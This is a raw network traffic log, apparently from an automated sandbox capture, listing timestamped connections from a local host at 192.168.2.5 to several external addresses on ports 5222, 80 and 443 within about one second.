Sep 30, 2024 12:21:07.952766895 CEST	5222	50320	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.958645105 CEST	80	50331	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:07.963021994 CEST	443	50315	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.963114977 CEST	50315	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.963150978 CEST	50315	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:07.975414991 CEST	443	50327	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:07.981113911 CEST	80	50328	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.981128931 CEST	5222	50326	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:07.982860088 CEST	50332	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.982903957 CEST	443	50332	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.983000994 CEST	50332	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.984155893 CEST	50332	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.984169960 CEST	443	50332	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.985258102 CEST	443	50318	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:07.985347033 CEST	50318	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.985361099 CEST	50318	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:07.991724014 CEST	5222	50320	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:07.991786957 CEST	50320	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.045048952 CEST	50329	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.045206070 CEST	50331	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.045583010 CEST	50330	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.047804117 CEST	50333	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.048084974 CEST	50334	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.048135042 CEST	443	50334	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.048211098 CEST	50334	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.049278975 CEST	50335	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.049532890 CEST	50334	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.049546957 CEST	443	50334	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.055507898 CEST	5222	50333	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.055644035 CEST	50333	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.055885077 CEST	50333	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.056524038 CEST	80	50335	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.056593895 CEST	50335	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.056763887 CEST	50335	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.063251019 CEST	5222	50333	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.064307928 CEST	80	50335	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.064400911 CEST	50335	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.071964979 CEST	80	50335	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.073909044 CEST	443	50319	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.073992968 CEST	50319	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.074008942 CEST	50319	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.087407112 CEST	443	50330	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.093135118 CEST	50332	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.096744061 CEST	80	50331	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.096754074 CEST	5222	50329	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.135396004 CEST	443	50332	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.157239914 CEST	50333	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.157360077 CEST	50335	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.157433987 CEST	50334	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.160268068 CEST	50336	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.160378933 CEST	50337	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.160408020 CEST	443	50337	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.160490990 CEST	50337	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.161655903 CEST	50338	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.162023067 CEST	50337	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.162033081 CEST	443	50337	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.165051937 CEST	5222	50336	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.165117025 CEST	50336	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.165401936 CEST	50336	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.166415930 CEST	80	50338	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.166505098 CEST	50338	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.166663885 CEST	50338	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.170125961 CEST	5222	50336	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.171363115 CEST	80	50338	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.171413898 CEST	50338	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.176276922 CEST	80	50338	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.177453995 CEST	80	50293	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.177510977 CEST	50293	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.203394890 CEST	443	50334	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.204830885 CEST	80	50335	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.204842091 CEST	5222	50333	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.204849005 CEST	50339	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.204884052 CEST	443	50339	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.204979897 CEST	50339	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.206588030 CEST	50339	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.206602097 CEST	443	50339	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.255179882 CEST	80	50296	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.255265951 CEST	50296	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.267935038 CEST	50336	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.268125057 CEST	50337	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.268785000 CEST	50338	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.271943092 CEST	50340	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.272495985 CEST	50341	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.272531033 CEST	443	50341	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.273497105 CEST	50342	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.273545980 CEST	50341	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.275181055 CEST	50341	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.275193930 CEST	443	50341	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.276863098 CEST	5222	50340	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.278613091 CEST	80	50342	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.278712034 CEST	50340	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.279016972 CEST	50340	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.279082060 CEST	50342	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.279263020 CEST	50342	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.284034967 CEST	5222	50340	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.284060001 CEST	80	50342	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.284116030 CEST	50342	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.288959026 CEST	80	50342	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.290283918 CEST	5222	50326	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.290359974 CEST	50326	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.311398983 CEST	443	50337	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.317365885 CEST	5222	50329	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.317439079 CEST	50329	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.319818020 CEST	50339	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.320733070 CEST	80	50338	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.320795059 CEST	5222	50336	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.365345955 CEST	443	50325	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.365438938 CEST	50325	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.365504980 CEST	50325	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.367393017 CEST	443	50339	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.367549896 CEST	443	50327	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.367621899 CEST	50327	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.367633104 CEST	50327	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.372462988 CEST	443	50323	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.372534990 CEST	50323	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.372576952 CEST	50323	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.383646011 CEST	50340	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.383811951 CEST	50342	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.384008884 CEST	50341	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.386044979 CEST	50343	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.386178970 CEST	50344	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.386195898 CEST	443	50344	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.386416912 CEST	50344	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.387626886 CEST	50344	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.387634993 CEST	443	50344	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.387708902 CEST	50345	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.390831947 CEST	5222	50343	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.390898943 CEST	50343	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.391122103 CEST	50343	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.392466068 CEST	80	50345	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.392522097 CEST	50345	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.392661095 CEST	50345	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.395872116 CEST	5222	50343	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.397437096 CEST	80	50345	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.397484064 CEST	50345	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.399369955 CEST	443	50330	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.399429083 CEST	50330	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.399441957 CEST	50330	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.402059078 CEST	80	50300	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.402111053 CEST	50300	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.402223110 CEST	80	50345	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.428899050 CEST	80	50342	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.428911924 CEST	5222	50340	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.431396008 CEST	443	50341	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.436124086 CEST	5222	50333	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.436315060 CEST	50333	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.448554039 CEST	50346	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.448565006 CEST	443	50346	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.448630095 CEST	50346	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.449709892 CEST	50346	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.449718952 CEST	443	50346	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.461935997 CEST	443	50332	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.462018013 CEST	50332	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.462191105 CEST	50332	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.495724916 CEST	50343	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.495991945 CEST	50344	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.495992899 CEST	50345	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.497850895 CEST	50347	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.497963905 CEST	50348	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.498002052 CEST	443	50348	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.498826027 CEST	50349	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.498864889 CEST	50348	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.500088930 CEST	50348	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.500102043 CEST	443	50348	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.502595901 CEST	5222	50347	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.502664089 CEST	50347	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.502854109 CEST	50347	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.503599882 CEST	80	50349	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.503657103 CEST	50349	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.503850937 CEST	50349	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.507575989 CEST	5222	50347	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.508613110 CEST	80	50349	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.508676052 CEST	50349	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.509459972 CEST	443	50334	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.509538889 CEST	50334	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.509550095 CEST	50334	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.510670900 CEST	80	50303	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.510726929 CEST	50303	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.513433933 CEST	80	50349	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.540783882 CEST	5222	50343	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.543397903 CEST	443	50344	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.543556929 CEST	50346	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.548775911 CEST	80	50345	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.552495956 CEST	5222	50336	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.555006981 CEST	50336	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.587416887 CEST	443	50346	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.591810942 CEST	50347	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.591995001 CEST	50349	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.592297077 CEST	50348	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.594185114 CEST	50350	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.594322920 CEST	50351	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.594352007 CEST	443	50351	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.595021009 CEST	50351	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.595172882 CEST	50352	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.596237898 CEST	50351	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.596250057 CEST	443	50351	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.599045038 CEST	5222	50350	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.600009918 CEST	80	50352	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.600104094 CEST	50350	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.600277901 CEST	50352	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.600277901 CEST	50352	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.600409985 CEST	50350	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.600531101 CEST	80	50307	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.600583076 CEST	50307	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.605133057 CEST	80	50352	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.605251074 CEST	5222	50350	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.605308056 CEST	50352	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.610121012 CEST	80	50352	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.618849993 CEST	443	50337	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.618944883 CEST	50337	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.618964911 CEST	50337	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.635411978 CEST	443	50348	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.636790037 CEST	5222	50347	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.640809059 CEST	80	50349	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.651659012 CEST	5222	50340	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.655049086 CEST	50340	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.656692982 CEST	50353	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.656754971 CEST	443	50353	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.656830072 CEST	50353	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.658132076 CEST	50353	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.658145905 CEST	443	50353	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.661596060 CEST	443	50339	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.661685944 CEST	50339	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.662142992 CEST	50339	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.692200899 CEST	80	50310	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.694214106 CEST	50310	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.704000950 CEST	50350	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.704166889 CEST	50352	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.704231024 CEST	50351	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.706805944 CEST	50354	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.706854105 CEST	443	50354	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.707020044 CEST	50354	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.708076954 CEST	50354	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.708087921 CEST	443	50354	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.708395004 CEST	50355	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.709633112 CEST	50356	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.713165045 CEST	5222	50355	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.713238001 CEST	50355	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.713613987 CEST	50355	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.714369059 CEST	80	50356	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.714432955 CEST	50356	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.714592934 CEST	50356	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.718334913 CEST	5222	50355	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.719340086 CEST	80	50356	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.722994089 CEST	50356	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.727719069 CEST	80	50356	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.733606100 CEST	443	50341	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.733666897 CEST	50341	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.733681917 CEST	50341	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.747400999 CEST	443	50351	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.752743959 CEST	80	50352	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.752754927 CEST	5222	50350	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.767633915 CEST	50353	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.784470081 CEST	5222	50343	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.784523964 CEST	50343	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.800539017 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.802767992 CEST	50358	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.805335045 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.805439949 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.805700064 CEST	50357	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.807557106 CEST	80	50358	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.807617903 CEST	50358	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.807826042 CEST	50358	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.810420036 CEST	5222	50357	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.811398983 CEST	443	50353	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.812557936 CEST	80	50358	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.812611103 CEST	50358	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.816076040 CEST	50355	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.816415071 CEST	50356	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:08.816452026 CEST	50354	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.817384005 CEST	80	50358	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.817425013 CEST	80	50314	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.817470074 CEST	50314	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.818903923 CEST	50359	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.819149017 CEST	50360	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.819185019 CEST	443	50360	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.819252014 CEST	50360	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.820768118 CEST	50360	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.820780039 CEST	443	50360	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.821932077 CEST	50361	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.823693037 CEST	5222	50359	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.823767900 CEST	50359	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.823991060 CEST	50359	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.826790094 CEST	80	50361	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.826864958 CEST	50361	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.827030897 CEST	50361	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.828730106 CEST	5222	50359	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.831840992 CEST	80	50361	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.831892967 CEST	50361	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.837060928 CEST	80	50361	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:08.839998007 CEST	443	50344	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.840060949 CEST	50344	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.840090036 CEST	50344	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.859411955 CEST	443	50354	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.864744902 CEST	80	50356	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.864758968 CEST	5222	50355	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:08.879098892 CEST	50362	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.879151106 CEST	443	50362	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.879259109 CEST	50362	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.880176067 CEST	5222	50347	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:08.880266905 CEST	50347	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:08.881241083 CEST	50362	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.881259918 CEST	443	50362	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.906466007 CEST	443	50346	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:08.906539917 CEST	50346	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.906569004 CEST	50346	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:08.927151918 CEST	80	50317	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:08.928594112 CEST	50359	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.928631067 CEST	50317	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:08.928863049 CEST	50360	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.929379940 CEST	50361	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:08.930969000 CEST	50363	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.931983948 CEST	50364	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.932008982 CEST	443	50364	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.932696104 CEST	50365	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.932729006 CEST	50364	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.933913946 CEST	50364	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:08.933928967 CEST	443	50364	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.935724974 CEST	5222	50363	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.937448025 CEST	80	50365	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.937524080 CEST	50363	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.937525988 CEST	50365	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.937762022 CEST	50363	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.937900066 CEST	50365	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.942470074 CEST	5222	50363	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.942620993 CEST	80	50365	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.942671061 CEST	50365	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:08.947407961 CEST	80	50365	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:08.953515053 CEST	443	50348	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.953649998 CEST	443	50348	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:08.953725100 CEST	50348	443	192.168.2.5	172.65.251.78
